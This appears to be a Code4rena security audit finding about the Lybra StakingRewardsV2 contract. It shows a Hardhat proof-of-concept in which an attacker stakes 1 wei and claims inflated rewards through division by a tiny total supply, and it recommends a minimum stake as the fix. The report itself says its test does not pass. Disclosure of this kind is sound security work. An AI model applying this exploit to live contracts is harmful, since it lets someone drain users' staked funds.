Lucene search

K
code423n4Code4renaCODE423N4:2023-06-LYBRA-FINDINGS-ISSUES-866
HistoryJul 03, 2023 - 12:00 a.m.

First user can drain funds from staking contract

2023-07-0300:00:00
Code4rena
github.com
2
staking contract manipulation
token locking
unauthorized minting
division vulnerability

Lines of code

Vulnerability details

Impact

If the first user locks an extremely small amount of tokens (1 wei), he can manipulate the reward that is supposed to receive. After locking a small amount, he can unlock it before the second user interacts with the contract.
See PoC for more details.

Note: Test does not passed because of authorized error in minting

Proof of Concept

const {ethers} = require("hardhat");
const {time} = require("@nomicfoundation/hardhat-network-helpers");
const { expect } = require("chai");

describe.only("PoC", async () => {

    let StakingRewardsV2;

  beforeEach(async () => {

    this.accounts = await ethers.getSigners()

        this.owner = this.accounts[0]
        this.hacker = this.accounts[1]

        EUSDMock = await ethers.getContractFactory("EUSD")
        configurator = await ethers.getContractFactory("Configurator")
        GovernanceTimelock = await ethers.getContractFactory("GovernanceTimelock")

        esLBRBoostFactory = await ethers.getContractFactory("esLBRBoost")
        let esLBRBoost = await esLBRBoostFactory.deploy()

        LBR = await ethers.getContractFactory("LBR")
        esLBR = await ethers.getContractFactory("esLBR")

        mockUSDC = await ethers.getContractFactory("mockUSDC")

        this.GovernanceTimelock = await GovernanceTimelock.deploy(1,[this.owner.address],[this.owner.address],this.owner.address);
        console.log('GovernanceTimelock', this.GovernanceTimelock.address)

        
        this.usdc = await mockUSDC.deploy()
        console.log('USDC', this.usdc.address)
        this.configurator = await configurator.deploy(this.GovernanceTimelock.address)

        console.log('configurator', this.configurator.address)

        this.esLBR = await esLBR.deploy(this.configurator.address)
        console.log('esLBR', this.esLBR.address)

        
        let factory = await ethers.getContractFactory("StakingRewardsV2")
        StakingRewardsV2 = await factory.deploy(this.usdc.address, this.esLBR.address, esLBRBoost.address)
        console.log(StakingRewardsV2);

        // transfer 
        const balance = ethers.utils.parseEther("1")
        await this.usdc.connect(this.owner).transfer(this.hacker.address, balance);
        
  });

  it("PoC", async () => {
    // Part of total supply
    const initialAmount = ethers.utils.parseEther("5184000");
    await StakingRewardsV2.connect(this.owner).notifyRewardAmount(initialAmount);
    // rewardRatio = 20*1e18 (depends on initial ammount and duration)

    await this.usdc.connect(this.hacker).approve(StakingRewardsV2.address, ethers.utils.parseEther("1"));

    const lowAmount = '1';
    await StakingRewardsV2.connect(this.hacker).stake(1); // stake low amount


    expect(await this.usdc.balanceOf(StakingRewardsV2.address)).to.be.equal(
        '1' // staked 1 -> totalSupply is 1
      );
      
    // Next transaction is executed after 12 seconds (for example).
    // If the time is bigger the exploit also will be bigger
    await time.setNextBlockTimestamp((await time.latest()) + 12);
    
    // Get reward: 
    // reward = (0 + rewardRate * 12 * 1e18) / 1 = 240*1e18 
    await StakingRewardsV2.connect(this.hacker).getReward();
  });
});

Conclusion

The problem comes from division of totalSupply here return rewardPerTokenStored + (rewardRatio * (lastTimeRewardApplicable() - updatedAt) * 1e18) / totalSupply; in rewardPerToken function

If the rewardRate and execution time of the next transaction increase, the stolen amount of funds will also be higher.

Tools Used

Mannul review

Recommended Mitigation Stepsreport

Add a requirement for a minimal lock amount which user has to pass. instance

    uint256 public constant MINIMAL_LOCK_AMOUNT = 1e16;

    if (amount < MINIMAL_LOCK_AMOUNT) {
        revert TooSmallAmount();
    }

Assessed type

Invalid Validation


The text was updated successfully, but these errors were encountered:

All reactions